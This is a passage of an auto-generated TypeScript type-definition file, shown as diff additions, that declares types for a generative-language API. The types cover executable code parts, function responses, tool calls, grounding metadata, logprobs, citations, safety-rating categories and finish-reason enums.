'LANGUAGE_UNSPECIFIED', + PYTHON: 'PYTHON', +} as const + +export type ExecutableCode200029D6LanguageEnumKey = + (typeof executableCode200029D6LanguageEnum)[keyof typeof executableCode200029D6LanguageEnum] + +/** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object + */ +export type ExecutableCode200029D6 = { + /** + * @description Optional. Unique identifier of the `ExecutableCode` part. The server returns the `CodeExecutionResult` with the matching `id`. + * @type string | undefined + */ + id?: string + /** + * @description Required. The code to be executed. + * @type string | undefined + */ + code?: string + /** + * @description Required. Programming language of the `code`. + * @type string | undefined + */ + language?: ExecutableCode200029D6LanguageEnumKey +} + +export const codeExecutionResultD014Ead7OutcomeEnum = { + OUTCOME_UNSPECIFIED: 'OUTCOME_UNSPECIFIED', + OUTCOME_OK: 'OUTCOME_OK', + OUTCOME_FAILED: 'OUTCOME_FAILED', + OUTCOME_DEADLINE_EXCEEDED: 'OUTCOME_DEADLINE_EXCEEDED', +} as const + +export type CodeExecutionResultD014Ead7OutcomeEnumKey = + (typeof codeExecutionResultD014Ead7OutcomeEnum)[keyof typeof codeExecutionResultD014Ead7OutcomeEnum] + +/** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object + */ +export type CodeExecutionResultD014Ead7 = { + /** + * @description Optional. The identifier of the `ExecutableCode` part this result is for. Only populated if the corresponding `ExecutableCode` has an id. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Contains stdout when code execution is successful, stderr or other description otherwise. + * @type string | undefined + */ + output?: string + /** + * @description Required. Outcome of the code execution. + * @type string | undefined + */ + outcome?: CodeExecutionResultD014Ead7OutcomeEnumKey +} + +/** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object + */ +export type VideoMetadata32D84069 = { + /** + * @description Optional. The end offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Optional. The frame rate of the video sent to the model. If not specified, the default value will be 1.0. The fps range is (0.0, 24.0]. + * + * Format: `double` + * @type number | undefined + */ + fps?: number + /** + * @description Optional. The start offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description URI based data for function response. + * @type object + */ +export type FunctionResponseFileData2600Bc66 = { + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string + /** + * @description Optional. Display name of the file. Used to provide a label or filename to distinguish file data. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string +} + +/** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object + */ +export type FunctionResponseBlob15B14C79 = { + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string + /** + * @description The IANA standard MIME type of the source data. Examples: - image/png - image/jpeg If an unsupported MIME type is provided, an error will be returned. For a complete list of supported types, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string + /** + * @description Optional. Display name of the blob. Used to provide a label or filename to distinguish blobs. + * @type string | undefined + */ + displayName?: string +} + +export const functionResponsePart078580FfMediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type FunctionResponsePart078580FfMediaProcessingEnumKey = + (typeof functionResponsePart078580FfMediaProcessingEnum)[keyof typeof functionResponsePart078580FfMediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a `FunctionResponse` message. A `FunctionResponsePart` consists of data which has an associated datatype. A `FunctionResponsePart` can only contain one of the accepted types in `FunctionResponsePart.data`. A `FunctionResponsePart` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type FunctionResponsePart078580Ff = { + /** + * @description URI based data for function response. + * @type object | undefined + */ + fileData?: FunctionResponseFileData2600Bc66 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: FunctionResponsePart078580FfMediaProcessingEnumKey + /** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object | undefined + */ + inlineData?: FunctionResponseBlob15B14C79 +} + +export const functionResponseB8F73608SchedulingEnum = { + SCHEDULING_UNSPECIFIED: 'SCHEDULING_UNSPECIFIED', + SILENT: 'SILENT', + WHEN_IDLE: 'WHEN_IDLE', + INTERRUPT: 'INTERRUPT', +} as const + +export type FunctionResponseB8F73608SchedulingEnumKey = + (typeof functionResponseB8F73608SchedulingEnum)[keyof typeof functionResponseB8F73608SchedulingEnum] + +/** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object + */ +export type FunctionResponseB8F73608 = { + /** + * @description Optional. The identifier of the function call this response is for. Populated by the client to match the corresponding function call `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Ordered `Parts` that constitute a function response. Parts may have different IANA MIME types. + * @type array | undefined + */ + parts?: FunctionResponsePart078580Ff[] + /** + * @description Required. The function response in JSON object format. Callers can use any keys of their choice that fit the function's syntax to return the function output, e.g. "output", "result", etc. In particular, if the function call failed to execute, the response can have an "error" key to return error details to the model. Multimedia can be included by using a subobject containing a single "$ref" key whose value is the `inline_data.display_name` of a `FunctionResponsePart` holding the multimedia. See https://aistudio.google.com/docs/function-calling#multimodal. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Optional. Specifies how the response should be scheduled in the conversation. Only applicable to NON_BLOCKING function calls, is ignored otherwise. Defaults to WHEN_IDLE. + * @type string | undefined + */ + scheduling?: FunctionResponseB8F73608SchedulingEnumKey + /** + * @description Optional. Signals that function call continues, and more responses will be returned, turning the function call into a generator. Is only applicable to NON_BLOCKING function calls, is ignored otherwise. If set to false, future responses will not be considered. It is allowed to return empty `response` with `will_continue=False` to signal that the function call is finished. This may still trigger the model generation. To avoid triggering the generation and finish the function call, additionally set `scheduling` to `SILENT`. + * @type boolean | undefined + */ + willContinue?: boolean + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +/** + * @description URI based data. + * @type object + */ +export type FileDataF0A3Ca77 = { + /** + * @description Optional. Specifies the name used to refer to this file to the model (e.g. "my_file.pdf"). Used as the file reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description Optional. The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string +} + +export const toolCallBfd8073BToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolCallBfd8073BToolTypeEnumKey = + (typeof toolCallBfd8073BToolTypeEnum)[keyof typeof toolCallBfd8073BToolTypeEnum] + +/** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object + */ +export type ToolCallBfd8073B = { + /** + * @description Optional. The name of the tool that was called. + * @type string | undefined + */ + toolName?: string + /** + * @description Required. The type of tool that was called. + * @type string | undefined + */ + toolType?: ToolCallBfd8073BToolTypeEnumKey + /** + * @description Optional. The tool call arguments. Example: {"arg1" : "value1", "arg2" : "value2" , ...} + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Optional. Unique identifier of the tool call. The server returns the tool response with the matching `id`. + * @type string | undefined + */ + id?: string +} + +export const part7CedfbdeMediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type Part7CedfbdeMediaProcessingEnumKey = + (typeof part7CedfbdeMediaProcessingEnum)[keyof typeof part7CedfbdeMediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a multi-part `Content` message. A `Part` consists of data which has an associated datatype. A `Part` can only contain one of the accepted types in `Part.data`. A `Part` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type Part7Cedfbde = { + /** + * @description Inline text. + * @type string | undefined + */ + text?: string + /** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object | undefined + */ + functionCall?: FunctionCall + /** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object | undefined + */ + toolResponse?: ToolResponseCa581A5E + /** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object | undefined + */ + audioTranscription?: AudioTranscription76Fa200F + /** + * @description Optional. Indicates if the part is thought from the model. + * @type boolean | undefined + */ + thought?: boolean + /** + * @description Media resolution for tokenization. + * @type object | undefined + */ + mediaResolution?: V1MainMediaResolution + /** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object | undefined + */ + executableCode?: ExecutableCode200029D6 + /** + * @description Speech metadata for `text` parts. + * @type object | undefined + */ + speechMetadata?: SpeechMetadata + /** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object | undefined + */ + inlineData?: Blob + /** + * @description Optional. An opaque signature for the thought so it can be reused in subsequent requests. + * @type string | undefined + */ + thoughtSignature?: string + /** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object | undefined + */ + codeExecutionResult?: CodeExecutionResultD014Ead7 + /** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object | undefined + */ + videoMetadata?: VideoMetadata32D84069 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: Part7CedfbdeMediaProcessingEnumKey + /** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object | undefined + */ + functionResponse?: FunctionResponseB8F73608 + /** + * @description URI based data. + * @type object | undefined + */ + fileData?: FileDataF0A3Ca77 + /** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object | undefined + */ + toolCall?: ToolCallBfd8073B + /** + * @description Custom metadata associated with the Part. Agents using genai.Part as content representation may need to keep track of the additional information. For example it can be name of a file/source from which the Part originates or a way to multiplex multiple Part streams. + * @type object | undefined + */ + partMetadata?: { + [key: string]: unknown + } +} + +/** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object + */ +export type ContentC0C2E938 = { + /** + * @description Ordered `Parts` that constitute a single message. Parts may have different MIME types. + * @type array | undefined + */ + parts?: Part7Cedfbde[] + /** + * @description Optional. The producer of the content. Must be either 'user' or 'model'. Useful to set for multi-turn conversations, otherwise can be left blank or unset. + * @type string | undefined + */ + role?: string +} + +/** + * @description Attribution for a source that contributed to an answer. + * @type object + */ +export type GroundingAttribution = { + /** + * @description Identifier for the source contributing to this attribution. + * @type object | undefined + */ + sourceId?: AttributionSourceId + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentC0C2E938 +} + +/** + * @description Segment of the content. + * @type object + */ +export type GoogleAiGenerativelanguageV1BetaSegment = { + /** + * @description Start index in the given Part, measured in bytes. Offset from the start of the Part, inclusive, starting at zero. + * + * Format: `int32` + * @type integer | undefined + */ + startIndex?: number + /** + * @description The text corresponding to the segment from the response. + * @type string | undefined + */ + text?: string + /** + * @description The index of a Part object within its parent Content object. + * + * Format: `int32` + * @type integer | undefined + */ + partIndex?: number + /** + * @description End index in the given Part, measured in bytes. Offset from the start of the Part, exclusive, starting at zero. + * + * Format: `int32` + * @type integer | undefined + */ + endIndex?: number +} + +/** + * @description Grounding support. + * @type object + */ +export type GoogleAiGenerativelanguageV1BetaGroundingSupport = { + /** + * @description Optional. A list of indices (into 'grounding_chunk' in `response.candidate.grounding_metadata`) specifying the citations associated with the claim. For instance [1,3,4] means that grounding_chunk[1], grounding_chunk[3], grounding_chunk[4] are the retrieved content attributed to the claim. If the response is streaming, the grounding_chunk_indices refer to the indices across all responses. It is the client's responsibility to accumulate the grounding chunks from all responses (while maintaining the same order). + * @type array | undefined + */ + groundingChunkIndices?: number[] + /** + * @description Optional. Confidence score of the support references. Ranges from 0 to 1. 1 is the most confident. This list must have the same size as the grounding_chunk_indices. + * @type array | undefined + */ + confidenceScores?: number[] + /** + * @description Segment of the content. + * @type object | undefined + */ + segment?: GoogleAiGenerativelanguageV1BetaSegment + /** + * @description Output only. Indices into the `parts` field of the candidate's content. These indices specify which rendered parts are associated with this support source. + * @type array | undefined + */ + renderedParts?: number[] +} + +/** + * @description Encapsulates a snippet of a user review that answers a question about the features of a specific place in Google Maps. + * @type object + */ +export type ReviewSnippet = { + /** + * @description The ID of the review snippet. + * @type string | undefined + */ + reviewId?: string + /** + * @description A link that corresponds to the user review on Google Maps. + * @type string | undefined + */ + googleMapsUri?: string + /** + * @description Title of the review. + * @type string | undefined + */ + title?: string +} + +/** + * @description Collection of sources that provide answers about the features of a given place in Google Maps. Each PlaceAnswerSources message corresponds to a specific place in Google Maps. The Google Maps tool used these sources in order to answer questions about features of the place (e.g: "does Bar Foo have Wifi" or "is Foo Bar wheelchair accessible?"). Currently we only support review snippets as sources. + * @type object + */ +export type PlaceAnswerSources = { + /** + * @description Snippets of reviews that are used to generate answers about the features of a given place in Google Maps. + * @type array | undefined + */ + reviewSnippets?: ReviewSnippet[] +} + +/** + * @description A grounding chunk from Google Maps. A Maps chunk corresponds to a single place. + * @type object + */ +export type Maps = { + /** + * @description The ID of the place, in `places/{place_id}` format. A user can use this ID to look up that place. + * @type string | undefined + */ + placeId?: string + /** + * @description URI reference of the place. + * @type string | undefined + */ + uri?: string + /** + * @description Title of the place. + * @type string | undefined + */ + title?: string + /** + * @description Collection of sources that provide answers about the features of a given place in Google Maps. Each PlaceAnswerSources message corresponds to a specific place in Google Maps. The Google Maps tool used these sources in order to answer questions about features of the place (e.g: "does Bar Foo have Wifi" or "is Foo Bar wheelchair accessible?"). Currently we only support review snippets as sources. + * @type object | undefined + */ + placeAnswerSources?: PlaceAnswerSources + /** + * @description Text description of the place answer. + * @type string | undefined + */ + text?: string +} + +/** + * @description Chunk from image search. + * @type object + */ +export type Image = { + /** + * @description The image asset URL. + * @type string | undefined + */ + imageUri?: string + /** + * @description The title of the web page that the image is from. + * @type string | undefined + */ + title?: string + /** + * @description The web page URI for attribution. + * @type string | undefined + */ + sourceUri?: string + /** + * @description The root domain of the web page that the image is from, e.g. "example.com". + * @type string | undefined + */ + domain?: string +} + +/** + * @description Chunk from the web. + * @type object + */ +export type Web = { + /** + * @description Output only. URI reference of the chunk. + * @type string | undefined + */ + uri?: string + /** + * @description Output only. Title of the chunk. + * @type string | undefined + */ + title?: string +} + +/** + * @description A list of string values. + * @type object + */ +export type GroundingChunkStringList = { + /** + * @description The string values of the list. + * @type array | undefined + */ + values?: string[] +} + +/** + * @description User provided metadata about the GroundingFact. + * @type object + */ +export type GroundingChunkCustomMetadata = { + /** + * @description Optional. The numeric value of the metadata. The expected range for this value depends on the specific `key` used. + * + * Format: `float` + * @type number | undefined + */ + numericValue?: number + /** + * @description The key of the metadata. + * @type string | undefined + */ + key?: string + /** + * @description A list of string values. + * @type object | undefined + */ + stringListValue?: GroundingChunkStringList + /** + * @description Optional. The string value of the metadata. + * @type string | undefined + */ + stringValue?: string +} + +/** + * @description Chunk from context retrieved by the file search tool. + * @type object + */ +export type RetrievedContext = { + /** + * @description Optional. URI reference of the semantic retrieval document. + * @type string | undefined + */ + uri?: string + /** + * @description Optional. Text of the chunk. + * @type string | undefined + */ + text?: string + /** + * @description Optional. Page number of the retrieved context, if applicable. + * + * Format: `int32` + * @type integer | undefined + */ + pageNumber?: number + /** + * @description Optional. The media blob resource name for multimodal file search results. Format: fileSearchStores/{file_search_store_id}/media/{blob_id} + * @type string | undefined + */ + mediaId?: string + /** + * @description Optional. Name of the `FileSearchStore` containing the document. Example: `fileSearchStores/123` + * @type string | undefined + */ + fileSearchStore?: string + /** + * @description Optional. User-provided metadata about the retrieved context. + * @type array | undefined + */ + customMetadata?: GroundingChunkCustomMetadata[] + /** + * @description Optional. Title of the document. + * @type string | undefined + */ + title?: string +} + +/** + * @description A `GroundingChunk` represents a segment of supporting evidence that grounds the model's response. It can be a chunk from the web, a retrieved context from a file, or information from Google Maps. + * @type object + */ +export type GroundingChunk = { + /** + * @description A grounding chunk from Google Maps. A Maps chunk corresponds to a single place. + * @type object | undefined + */ + maps?: Maps + /** + * @description Chunk from image search. + * @type object | undefined + */ + image?: Image + /** + * @description Chunk from the web. + * @type object | undefined + */ + web?: Web + /** + * @description Chunk from context retrieved by the file search tool. + * @type object | undefined + */ + retrievedContext?: RetrievedContext +} + +/** + * @description Metadata related to retrieval in the grounding flow. + * @type object + */ +export type RetrievalMetadata = { + /** + * @description Optional. Score indicating how likely information from google search could help answer the prompt. The score is in the range [0, 1], where 0 is the least likely and 1 is the most likely. This score is only populated when google search grounding and dynamic retrieval is enabled. It will be compared to the threshold to determine whether to trigger google search. + * + * Format: `float` + * @type number | undefined + */ + googleSearchDynamicRetrievalScore?: number +} + +/** + * @description Google search entry point. + * @type object + */ +export type SearchEntryPoint = { + /** + * @description Optional. Web content snippet that can be embedded in a web page or an app webview. + * @type string | undefined + */ + renderedContent?: string + /** + * @description Optional. Base64 encoded JSON representing array of tuple. + * @type string | undefined + */ + sdkBlob?: string +} + +/** + * @description Metadata returned to client when grounding is enabled. + * @type object + */ +export type GroundingMetadata = { + /** + * @description Web search queries for the following-up web search. + * @type array | undefined + */ + webSearchQueries?: string[] + /** + * @description List of grounding support. + * @type array | undefined + */ + groundingSupports?: GoogleAiGenerativelanguageV1BetaGroundingSupport[] + /** + * @description Optional. Resource name of the Google Maps widget context token that can be used with the PlacesContextElement widget in order to render contextual data. Only populated in the case that grounding with Google Maps is enabled. + * @type string | undefined + */ + googleMapsWidgetContextToken?: string + /** + * @description List of supporting references retrieved from specified grounding source. When streaming, this only contains the grounding chunks that have not been included in the grounding metadata of previous responses. + * @type array | undefined + */ + groundingChunks?: GroundingChunk[] + /** + * @description Metadata related to retrieval in the grounding flow. + * @type object | undefined + */ + retrievalMetadata?: RetrievalMetadata + /** + * @description Google search entry point. + * @type object | undefined + */ + searchEntryPoint?: SearchEntryPoint + /** + * @description Image search queries used for grounding. + * @type array | undefined + */ + imageSearchQueries?: string[] +} + +/** + * @description Candidate for the logprobs token and score. + * @type object + */ +export type LogprobsResultCandidate = { + /** + * @description The candidate's log probability. + * + * Format: `float` + * @type number | undefined + */ + logProbability?: number + /** + * @description The candidate’s token string value. + * @type string | undefined + */ + token?: string + /** + * @description The candidate’s token id value. + * + * Format: `int32` + * @type integer | undefined + */ + tokenId?: number +} + +/** + * @description Candidates with top log probabilities at each decoding step. + * @type object + */ +export type TopCandidates = { + /** + * @description Sorted by log probability in descending order. + * @type array | undefined + */ + candidates?: LogprobsResultCandidate[] +} + +/** + * @description Logprobs Result + * @type object + */ +export type LogprobsResult = { + /** + * @description Length = total number of decoding steps. The chosen candidates may or may not be in top_candidates. + * @type array | undefined + */ + chosenCandidates?: LogprobsResultCandidate[] + /** + * @description Sum of log probabilities for all tokens. + * + * Format: `float` + * @type number | undefined + */ + logProbabilitySum?: number + /** + * @description Length = total number of decoding steps. + * @type array | undefined + */ + topCandidates?: TopCandidates[] +} + +/** + * @description A citation to a source for a portion of a specific response. + * @type object + */ +export type CitationSource = { + /** + * @description Optional. Start of segment of the response that is attributed to this source. Index indicates the start of the segment, measured in bytes. + * + * Format: `int32` + * @type integer | undefined + */ + startIndex?: number + /** + * @description Optional. License for the GitHub project that is attributed as a source for segment. License info is required for code citations. + * @type string | undefined + */ + license?: string + /** + * @description Optional. End of the attributed segment, exclusive. + * + * Format: `int32` + * @type integer | undefined + */ + endIndex?: number + /** + * @description Optional. URI that is attributed as a source for a portion of the text. + * @type string | undefined + */ + uri?: string +} + +/** + * @description A collection of source attributions for a piece of content. + * @type object + */ +export type CitationMetadata = { + /** + * @description Citations to sources for a specific response. + * @type array | undefined + */ + citationSources?: CitationSource[] +} + +export const safetyRatingProbabilityEnum = { + HARM_PROBABILITY_UNSPECIFIED: 'HARM_PROBABILITY_UNSPECIFIED', + NEGLIGIBLE: 'NEGLIGIBLE', + LOW: 'LOW', + MEDIUM: 'MEDIUM', + HIGH: 'HIGH', +} as const + +export type SafetyRatingProbabilityEnumKey = + (typeof safetyRatingProbabilityEnum)[keyof typeof safetyRatingProbabilityEnum] + +export const safetyRatingCategoryEnum = { + HARM_CATEGORY_UNSPECIFIED: 'HARM_CATEGORY_UNSPECIFIED', + HARM_CATEGORY_DEROGATORY: 'HARM_CATEGORY_DEROGATORY', + HARM_CATEGORY_TOXICITY: 'HARM_CATEGORY_TOXICITY', + HARM_CATEGORY_VIOLENCE: 'HARM_CATEGORY_VIOLENCE', + HARM_CATEGORY_SEXUAL: 'HARM_CATEGORY_SEXUAL', + HARM_CATEGORY_MEDICAL: 'HARM_CATEGORY_MEDICAL', + HARM_CATEGORY_DANGEROUS: 'HARM_CATEGORY_DANGEROUS', + HARM_CATEGORY_HARASSMENT: 'HARM_CATEGORY_HARASSMENT', + HARM_CATEGORY_HATE_SPEECH: 'HARM_CATEGORY_HATE_SPEECH', + HARM_CATEGORY_SEXUALLY_EXPLICIT: 'HARM_CATEGORY_SEXUALLY_EXPLICIT', + HARM_CATEGORY_DANGEROUS_CONTENT: 'HARM_CATEGORY_DANGEROUS_CONTENT', + HARM_CATEGORY_CIVIC_INTEGRITY: 'HARM_CATEGORY_CIVIC_INTEGRITY', + HARM_CATEGORY_JAILBREAK: 'HARM_CATEGORY_JAILBREAK', +} as const + +export type SafetyRatingCategoryEnumKey = + (typeof safetyRatingCategoryEnum)[keyof typeof safetyRatingCategoryEnum] + +/** + * @description Safety rating for a piece of content. The safety rating contains the category of harm and the harm probability level in that category for a piece of content. Content is classified for safety across a number of harm categories and the probability of the harm classification is included here. + * @type object + */ +export type SafetyRating = { + /** + * @description Required. The probability of harm for this content. + * @type string | undefined + */ + probability?: SafetyRatingProbabilityEnumKey + /** + * @description Was this content blocked because of this rating? + * @type boolean | undefined + */ + blocked?: boolean + /** + * @description Required. The category for this rating. + * @type string | undefined + */ + category?: SafetyRatingCategoryEnumKey +} + +export const candidateFinishReasonEnum = { + FINISH_REASON_UNSPECIFIED: 'FINISH_REASON_UNSPECIFIED', + STOP: 'STOP', + MAX_TOKENS: 'MAX_TOKENS', + SAFETY: 'SAFETY', + RECITATION: 'RECITATION', + LANGUAGE: 'LANGUAGE', + OTHER: 'OTHER', + BLOCKLIST: 'BLOCKLIST', + PROHIBITED_CONTENT: 'PROHIBITED_CONTENT', + SPII: 'SPII', + MALFORMED_FUNCTION_CALL: 'MALFORMED_FUNCTION_CALL', + IMAGE_SAFETY: 'IMAGE_SAFETY', + IMAGE_PROHIBITED_CONTENT: 'IMAGE_PROHIBITED_CONTENT', + IMAGE_OTHER: 'IMAGE_OTHER', + NO_IMAGE: 'NO_IMAGE', + IMAGE_RECITATION: 'IMAGE_RECITATION', + UNEXPECTED_TOOL_CALL: 'UNEXPECTED_TOOL_CALL', + TOO_MANY_TOOL_CALLS: 'TOO_MANY_TOOL_CALLS', + MISSING_THOUGHT_SIGNATURE: 'MISSING_THOUGHT_SIGNATURE', + MALFORMED_RESPONSE: 'MALFORMED_RESPONSE', + ESCALATION: 'ESCALATION', + PUP_LIMITED_DISABLED: 'PUP_LIMITED_DISABLED', + CONTINUATION: 'CONTINUATION', +} as const + +export type CandidateFinishReasonEnumKey = + (typeof candidateFinishReasonEnum)[keyof typeof candidateFinishReasonEnum] + +/** + * @description A response candidate generated from the model. + * @type object + */ +export type Candidate = { + /** + * @description Metadata related to url context retrieval tool. + * @type object | undefined + */ + urlContextMetadata?: UrlContextMetadata + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentC0C2E938 + /** + * @description Output only. Attribution information for sources that contributed to a grounded answer. This field is populated for `GenerateAnswer` calls. + * @type array | undefined + */ + groundingAttributions?: GroundingAttribution[] + /** + * @description Output only. Token count for this candidate. + * + * Format: `int32` + * @type integer | undefined + */ + tokenCount?: number + /** + * @description Output only. Index of the candidate in the list of response candidates. + * + * Format: `int32` + * @type integer | undefined + */ + index?: number + /** + * @description Optional. Output only. The reason why the model stopped generating tokens. If empty, the model has not stopped generating tokens. + * @type string | undefined + */ + finishReason?: CandidateFinishReasonEnumKey + /** + * @description Metadata returned to client when grounding is enabled. + * @type object | undefined + */ + groundingMetadata?: GroundingMetadata + /** + * @description Logprobs Result + * @type object | undefined + */ + logprobsResult?: LogprobsResult + /** + * @description A collection of source attributions for a piece of content. + * @type object | undefined + */ + citationMetadata?: CitationMetadata + /** + * @description Output only. Average log probability score of the candidate. + * + * Format: `double` + * @type number | undefined + */ + avgLogprobs?: number + /** + * @description Optional. Output only. Details the reason why the model stopped generating tokens. This is populated only when `finish_reason` is set. + * @type string | undefined + */ + finishMessage?: string + /** + * @description List of ratings for the safety of a response candidate. There is at most one rating per category. + * @type array | undefined + */ + safetyRatings?: SafetyRating[] + /** + * @description An optional opaque continuation token returned when `finish_reason` is `CONTINUATION`. Clients can pass this token in a subsequent `GenerateContentRequest` to continue generation. + * @type string | undefined + */ + continuationToken?: string +} + +export const modalityTokenCountModalityEnum = { + MODALITY_UNSPECIFIED: 'MODALITY_UNSPECIFIED', + TEXT: 'TEXT', + IMAGE: 'IMAGE', + VIDEO: 'VIDEO', + AUDIO: 'AUDIO', + DOCUMENT: 'DOCUMENT', +} as const + +export type ModalityTokenCountModalityEnumKey = + (typeof modalityTokenCountModalityEnum)[keyof typeof modalityTokenCountModalityEnum] + +/** + * @description Represents token counting info for a single modality. + * @type object + */ +export type ModalityTokenCount = { + /** + * @description Number of tokens. + * + * Format: `int32` + * @type integer | undefined + */ + tokenCount?: number + /** + * @description The modality associated with this token count. + * @type string | undefined + */ + modality?: ModalityTokenCountModalityEnumKey +} + +export const modelStatusModelStageEnum = { + MODEL_STAGE_UNSPECIFIED: 'MODEL_STAGE_UNSPECIFIED', + UNSTABLE_EXPERIMENTAL: 'UNSTABLE_EXPERIMENTAL', + EXPERIMENTAL: 'EXPERIMENTAL', + PREVIEW: 'PREVIEW', + STABLE: 'STABLE', + LEGACY: 'LEGACY', + DEPRECATED: 'DEPRECATED', + RETIRED: 'RETIRED', +} as const + +export type ModelStatusModelStageEnumKey = + (typeof modelStatusModelStageEnum)[keyof typeof modelStatusModelStageEnum] + +/** + * @description The status of the underlying model. This is used to indicate the stage of the underlying model and the retirement time if applicable. + * @type object + */ +export type ModelStatus = { + /** + * @description The stage of the underlying model. + * @type string | undefined + */ + modelStage?: ModelStatusModelStageEnumKey + /** + * @description The time at which the model will be retired. + * + * Format: `google-datetime` + * @type string | undefined + */ + retirementTime?: string + /** + * @description A message explaining the model status. + * @type string | undefined + */ + message?: string +} + +export const promptFeedbackBlockReasonEnum = { + BLOCK_REASON_UNSPECIFIED: 'BLOCK_REASON_UNSPECIFIED', + SAFETY: 'SAFETY', + OTHER: 'OTHER', + BLOCKLIST: 'BLOCKLIST', + PROHIBITED_CONTENT: 'PROHIBITED_CONTENT', + IMAGE_SAFETY: 'IMAGE_SAFETY', +} as const + +export type PromptFeedbackBlockReasonEnumKey = + (typeof promptFeedbackBlockReasonEnum)[keyof typeof promptFeedbackBlockReasonEnum] + +/** + * @description A set of the feedback metadata the prompt specified in `GenerateContentRequest.content`. + * @type object + */ +export type PromptFeedback = { + /** + * @description Optional. If set, the prompt was blocked and no candidates are returned. Rephrase the prompt. + * @type string | undefined + */ + blockReason?: PromptFeedbackBlockReasonEnumKey + /** + * @description Ratings for safety of the prompt. There is at most one rating per category. + * @type array | undefined + */ + safetyRatings?: SafetyRating[] +} + +export const 